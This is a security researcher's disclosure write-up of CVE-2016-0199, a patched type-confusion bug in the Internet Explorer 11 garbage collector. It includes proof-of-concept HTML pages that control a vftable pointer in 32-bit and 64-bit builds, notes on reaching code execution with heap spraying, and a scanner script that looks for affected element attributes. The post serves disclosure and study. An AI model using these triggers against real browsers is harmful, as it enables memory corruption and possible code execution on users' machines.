This is a friendly warning that your web-browser does not currently protecting your privacy and/or security as well as you might want. Click on this message to see more information about the issue(s) that were detected.

MSIE 11 garbage collector attribute type confusion

(MS16-063, CVE-2016-0199)

With MS16-063 Microsoft has patched CVE-2016-0199: a memory corruption bug in the garbage collector of the Java­Script engine used in Internet Explorer 11. By exploiting this vulnerability, a website can causes this garbage collector to handle some data in memory as if it was an object, when in fact it contains data for another type of value, such as a string or number. The garbage collector code will use this data as a virtual function table (vftable) in order to make a virtual function call. An attacker has enough control over this data to allow execution of arbitrary code.

Known affected software and attack vectors

Repro

I've created two separate html files that can be used to reproduce this issue and shows control over a 32-bit vftable pointer in x86 versions of MSIE or a partial control over a 64-bit vftable pointer in x64 versions.

<!DOCTYPE html>
<meta http-equiv="X-UA-Compatible" content="IE=7">
<script>
  o­Element = document.create­Element("IMG");
  var o­Attr = document.create­Attribute("loop");
  o­Attr.node­Value = o­Element;
  o­Element.loop = 0x41424344; // Set original value data to 44 43 42 41
  o­Element.set­Attribute­Node(o­Attr); // Replace o­Element with original value data
  o­Element.remove­Attribute­Node(o­Attr);
  Collect­Garbage(); // Use original value data as address 0x41424344 of a vftable
</script>

Description

When set­Attribute­Node is used to set an attribute of a HTML element, and the Attr node's node­Value is not a valid value, this node­Value is set to the value the attribute had before the call. This can happen for instance when you try to set an attribute that must have a string or number value by using an Attr node with a HTML element as its node­Value (as this is not a string or number). The HTML element in node­Value is replaced with the string or number value the attribute had before the call to set­Attribute­Node.

If the Attr node is then removed using remove­Attribute­Node and the garbage collector runs, the code appears to assume the node­Value still contains an object, rather than the string or number it has been changed into. This causes the code to use the data for the string or number value as if it was a C++ object. It attempts to determine a function pointer for a method from the object's virtual function table before calling this function using the pointer.

If the previous value is a string, the character data from the string is used to calculate the function pointer. If the previous value is a number, the value of the number is used. This provides an attacker with a large amount of control over the function pointer and may allow execution of arbitrary code.

Proof-of-Concept for 32-bits MSIE

Using this scanner, I found that the loop attribute of the BGSOUND, IMG and INPUT elements accepts 32-bit integer values in the range 0-0x7FFFFFFF, and that this value is used as a pointer when determining the address of the function. Using a standard heap spray, it should be possible to create a pointer that points to data under the attacker's control and so control execution flow. However, the function call is protected by Control Flow Guard, so additional tricks are needed to bypass this in order to execute arbitrary code. The provided repro results in an access violation around address 0x41424344.

Repro_32.html <!DOCTYPE html> <meta http-equiv="X-UA-Compatible" content="IE=7"> <script> o­Element = document.create­Element("IMG"); var o­Attr = document.create­Attribute("loop"); o­Attr.node­Value = o­Element; o­Element.loop = 0x41424344; // Set original value data to 44 43 42 41 o­Element.set­Attribute­Node(o­Attr); // Replace o­Element with original value data o­Element.remove­Attribute­Node(o­Attr); Collect­Garbage(); // Use original value data as address 0x41424344 of a vftable </script>

Proof-of-Concept for 64-bits MSIE

On 64-bit systems, this element/attribute combination is not very useful as none of the upper 32-bits of the address can be controlled. Various attributes will take a limited set of valid string as their value, such as the method attribute of the FORM element, which can be set to "get" or "post". The BSTR character data of such strings end up being used as the pointer, allowing an attacker to provide a pointer of the form 0x00??00??00??00??, but the number of valid string values is very limited, so the number of possible pointer values is very limited too. The chances of any of these values being useful are very, very slim.

There are however element/attribute combinations that require a number which is stored as a BSTR, e.g. the size attribute of the HR element. Setting this attribute to 0 will cause the code to allocate a BSTR containing "0", setting it to 3333 will cause it to allocate a BSTR containing "3333". This BSTR may get allocated from the heap or "allocated" from the OLEAUT32 cache, heap-feng- shui style. "3333" results in the pointer address 0x0033003300330033, but "0" results in the address 0x????????00000030, where ?? can be data taken from a reused BSTR that was "allocated" from the cache. This should allow an attacker full control over the upper 32 bits of the pointer address, as well as some control over the lower 4 bits. If an attacker can do a heap spray covering an address that follows this format, and determine the address at which the heap spray is located, full control over execution flow may be possible. Again, the function call is protected by Control Flow Guard, so additional tricks are needed to bypass this in order to execute arbitrary code. The provided repro results in an access violation around address 0x414200000030.

Repro_64.html <!DOCTYPE html> <meta http-equiv="X-UA-Compatible" content="IE=7"> <script> o­Element = document.create­Element("HR"); var o­Attr = document.create­Attribute("size"); o­Attr.node­Value = o­Element; // Allocate and free a string with these bytes: 46 45 44 43 42 41 00 00 try { o­Element.size = "\u4546\u4344\u4142"; } catch (e) {} o­Element.size = 0; // Reallocate string and set original value data to 30 00 00 00 42 41 00 00 o­Element.size; o­Element.set­Attribute­Node(o­Attr); // Overwrite o­Element with original value o­Element.remove­Attribute­Node(o­Attr); Collect­Garbage(); // Use original value data as addresss 0x414200000030 of a vftable </script>

Scanner

In order to determine what elements and attributes are affected, I've created a web-page that can be used to scan for this. This scanner does the following:

  1. Creates a number of elements
  2. Enumerate potential attribute names for each.
  3. Attempt to set the attribute to a poison value.
  4. Attempt to trigger the issue and cause an access violation at an address based on the poison value.

When run, the scanner will show which element/attribute combination it is scanning in the document's title as well as show a popup for each test. Clicking on cancel stops the popups, allowing the scanner to proceed very fast. However, when a crash occurs, the document's title may not have been updated in a while. You can copy the element/attribute combination into the s­Start­At variable in the scanner and run it again to start from that position. Now click ok at the popups; your crash should happen relatively soon. This time the document's title is up-to-date, so you know which element/attribute combination triggered it. After finding a crashing combination, it can be added to the blacklist, so the scanner can be restarted to find another combination.

The addresses in the access violations triggered by the scanner should indicate the type and possible values of the attribute, e.g. a crash at an address based on 0x11, 0x2222 or 0x44444444 indicates the value must be an integer of type BYTE, WORD or DWORD size. A crash at an address of the form 0x00??00?? (or on 64-bit systems 0x00??00??00??00??) indicates a the value must be a string and if the address is around 0x00330033 or 0x0033003300330033, it must be an integer stored as a string.

Scanner.html <!DOCTYPE html> <meta http-equiv="X-UA-Compatible" content="IE=7"> <script> onerror = function(s,f,l){alert(s + " on line " + l)}; </script><script> var ao­Elements = [ document.create­Element("a"), document.create­Element("abbr"), document.create­Element("acronym"), document.create­Element("address"), document.create­Element("applet"), document.create­Element("area"), document.create­Element("article"), document.create­Element("aside"), document.create­Element("audio"), document.create­Element("b"), document.create­Element("base"), document.create­Element("basefont"), document.create­Element("bdi"), document.create­Element("bdo"), document.create­Element("bgsound"), document.create­Element("big"), document.create­Element("blink"), document.create­Element("blockquote"), document.create­Element("body"), document.create­Element("br"), document.create­Element("button"), document.create­Element("canvas"), document.create­Element("caption"), document.create­Element("center"), document.create­Element("cite"), document.create­Element("code"), document.create­Element("col"), document.create­Element("colgroup"), document.create­Element("command"), document.create­Element("content"), document.create­Element("data"), document.create­Element("datalist"), document.create­Element("dd"), document.create­Element("del"), document.create­Element("details"), document.create­Element("dfn"), document.create­Element("dialog"), document.create­Element("dir"), document.create­Element("div"), document.create­Element("dl"), document.create­Element("dt"), document.create­Element("element"), document.create­Element("em"), document.create­Element("embed"), document.create­Element("fieldset"), document.create­Element("figcaption"), document.create­Element("figure"), document.create­Element("font"), document.create­Element("footer"), document.create­Element("form"), document.create­Element("frame"), document.create­Element("frameset"), document.create­Element("h1"), document.create­Element("h2"), document.create­Element("h3"), document.create­Element("h4"), document.create­Element("h5"), document.create­Element("h6"), document.create­Element("head"), document.create­Element("header"), document.create­Element("hgroup"), document.create­Element("hr"), document.create­Element("html"), document.create­Element("i"), document.create­Element("iframe"), document.create­Element("image"), document.create­Element("img"), document.create­Element("input"), (o = document.create­Element("input"), o.type="button", o), (o = document.create­Element("input"), o.type="checkbox", o), (o = document.create­Element("input"), o.type="file", o), (o = document.create­Element("input"), o.type="hidden", o), (o = document.create­Element("input"), o.type="image", o), (o = document.create­Element("input"), o.type="password", o), (o = document.create­Element("input"), o.type="radio", o), (o = document.create­Element("input"), o.type="reset", o), (o = document.create­Element("input"), o.type="submit", o), (o = document.create­Element("input"), o.type="text", o), document.create­Element("ins"), document.create­Element("isindex"), document.create­Element("kbd"), document.create­Element("keygen"), document.create­Element("label"), document.create­Element("legend"), document.create­Element("li"), document.create­Element("link"), document.create­Element("listing"), document.create­Element("main"), document.create­Element("map"), document.create­Element("mark"), document.create­Element("marquee"), document.create­Element("menu"), document.create­Element("menuitem"), document.create­Element("meta"), document.create­Element("meter"), document.create­Element("multicol"), document.create­Element("nav"), document.create­Element("nobr"), document.create­Element("noembed"), document.create­Element("noframes"), document.create­Element("noscript"), document.create­Element("object"), document.create­Element("ol"), document.create­Element("optgroup"), document.create­Element("option"), document.create­Element("output"), document.create­Element("p"), document.create­Element("param"), document.create­Element("picture"), document.create­Element("plaintext"), document.create­Element("pre"), document.create­Element("progress"), document.create­Element("q"), document.create­Element("rp"), document.create­Element("rt"), document.create­Element("rtc"), document.create­Element("ruby"), document.create­Element("s"), document.create­Element("samp"), document.create­Element("script"), document.create­Element("section"), document.create­Element("select"), document.create­Element("shadow"), document.create­Element("small"), document.create­Element("source"), document.create­Element("spacer"), document.create­Element("span"), document.create­Element("strike"), document.create­Element("strong"), document.create­Element("style"), document.create­Element("sub"), document.create­Element("summary"), document.create­Element("sup"), document.create­Element("table"), document.create­Element("tbody"), document.create­Element("td"), document.create­Element("template"), document.create­Element("textarea"), document.create­Element("tfoot"), document.create­Element("th"), document.create­Element("thead"), document.create­Element("time"), document.create­Element("title"), document.create­Element("tr"), document.create­Element("track"), document.create­Element("tt"), document.create­Element("u"), document.create­Element("ul"), document.create­Element("var"), document.create­Element("video"), document.create­Element("wbr"), document.create­Element("xmp"), document.create­Element("x") ]; var dx­Filtered = { // Not that "number" means a number converted to string and results in an address of the form 0x003?003? or 0x003?003?003?003? "spellcheck": [true, false], "content­Editable": ["true", "false", "inherit"], "border": "number", "APPLET.code­Type": "false", // should be mime/type "APPLET.height": "number", "APPLET.type": "false", // should be mime/type "APPLET.width": "number", "BGSOUND.balance": [-10000, 10000], // Limited to small numbers (lower 16 bits?) "BGSOUND.loop": Number, // Full control over lower 32-bits "BGSOUND.volume": [-10000, 0], // Limited to small numbers (lower 8 bits?) "BODY.bottom­Margin": "number", "BODY.left­Margin": "number", "BODY.right­Margin": "number", "BODY.top­Margin": "number", "BUTTON.type": ["button", "reset", "submit"], "COL.span": Number, // Limited to small numbers (lower 8 bits?) "COL.width": "number", "COLGROUP.span": Number, // Limited to small numbers (lower 8 bits?) "COLGROUP.width": "number", "EMBED.hidden": ["true", "false"], "FONT.size": "number", "FORM.method": ["get", "post"], "FRAME.frame­Spacing": "number", "FRAME.margin­Height": "number", "FRAME.margin­Width": "number", "FRAME.scrolling": ["yes", "no", "auto"], "FRAMESET.frame­Spacing": "number", "HR.size": "number", "HR.width": "number", "IFRAME.frame­Spacing": "number", "IFRAME.height": "number", "IFRAME.margin­Height": "number", "IFRAME.margin­Width": "number",// assumed, not tested "IFRAME.scrolling": ["yes", "no", "auto"], "IFRAME.width": "number",// assumed, not tested "IMG.loop": Number, // Full control over lower 32-bits "IMG.start": ["fileopen", "mouseover"], "INPUT.loop": Number, // Full control over lower 32-bits "INPUT.start": ["fileopen", "mouseover"], "INPUT.type": ["button", "checkbox", "email", "..."], "MARQUEE.behavior": ["scroll", "slide", "alternate"], "MARQUEE.direction": ["left", "right", "up", "down"], "MARQUEE.height": "number", "MARQUEE.width": "number", "OBJECT.code­Type": "false", // should be mime/type "OBJECT.height": "number", "OBJECT.type": "false", // should be mime/type "OBJECT.width": "number", "SELECT.length": undefined, // Actually not the same issue, but a separate Do­S. "TABLE.cell­Padding": "number", // Valid values may be limited to small numbers. "TABLE.cell­Spacing": "number", // Valid values may be limited to small numbers. "TABLE.height": "number", "TABLE.width": "number", "TD.col­Span": Number, // Limited to small numbers (lower 8 bits?) "TD.height": "number", "TD.width": "number", "TEXTAREA.wrap": ["soft", "hard"], "TH.col­Span": Number, // Limited to small numbers (lower 8 bits?) "TH.height": "number", "TH.width": "number", "TR.col­Span": Number, // Limited to small numbers (lower 8 bits?) "TR.height": "number", "TR.width": "number", "": 0}; var as­Property­Names = [], s­Start­At = "", b­Alerts = true; f­Test(); function f­Test() { while (1) { s­Property­Name = as­Property­Names.shift(); if (!s­Property­Name) { o­Element = ao­Elements.shift(); if (!o­Element) { document.title = s­Start­At ? s­Start­At + " not found" : "done"; return; }; if (o­Element.tag­Name == o­Element.tag­Name.to­Lower­Case()) { continue; // Not implemented } as­Property­Names = []; for (var x in o­Element) as­Property­Names.push(x); as­Property­Names.sort(); s­Property­Name = as­Property­Names.shift(); }; var s­Property­Value = ""; try { s­Property­Value += o­Element[s­Property­Name]; } catch (e) { }; document.title = o­Element.tag­Name + "." + s­Property­Name + ": " + typeof o­Element[s­Property­Name] + " " + s­Property­Value; if (s­Start­At && s­Start­At != o­Element.tag­Name + "." + s­Property­Name) { continue; } s­Start­At = null; if ((s­Property­Name in dx­Filtered) || (o­Element.tag­Name + "." + s­Property­Name in dx­Filtered)) { continue; } else { if (b­Alerts) b­Alerts = confirm(document.title); try { o­Element[s­Property­Name] = true; o­Element[s­Property­Name] = "true"; } catch (e) {}; try { o­Element[s­Property­Name] = -0x100+0x11; o­Element[s­Property­Name] = -0x10000+0x2222; } catch (e) {}; try { o­Element[s­Property­Name] = 0x11; o­Element[s­Property­Name] = 0x2222; o­Element[s­Property­Name] = 0x44444444; } catch (e) {}; try { o­Element[s­Property­Name] = "inherit"; o­Element[s­Property­Name] = "UUUU"; o­Element[s­Property­Name] = "\u6666\u6666"; } catch (e) {}; if ((typeof o­Element[s­Property­Name]) == "string" && parse­Int(o­Element[s­Property­Name]).to­String() == o­Element[s­Property­Name]) { try { o­Element[s­Property­Name] = 3; o­Element[s­Property­Name] = 33; o­Element[s­Property­Name] = 3333; } catch (e) {}; } var s­Property­Value = ""; try { s­Property­Value += o­Element[s­Property­Name]; } catch (e) { }; document.title += " => " + typeof o­Element[s­Property­Name] + " " + s­Property­Value if (b­Alerts) b­Alerts = confirm(document.title); var o­Attr = document.create­Attribute(s­Property­Name); o­Attr.node­Value = document.create­Text­Node(""); try { o­Element.set­Attribute­Node(o­Attr); } catch (e) {}; o­Element.remove­Attribute­Node(o­Attr); Collect­Garbage(); return set­Timeout(f­Test); }; }; }; </script>
© Copyright 2016 by Sky­Lined.
Creative Commons License This work is licensed under a Creative Commons Attribution-Non‑Commercial 4.0 International License.

Last updated on 2016-11-21.
If you find this web-site useful and would like to make a donation, you can send bitcoin to 183yyxa9s1s1f7JBp­PHPmz­Q346y91Rx5DX.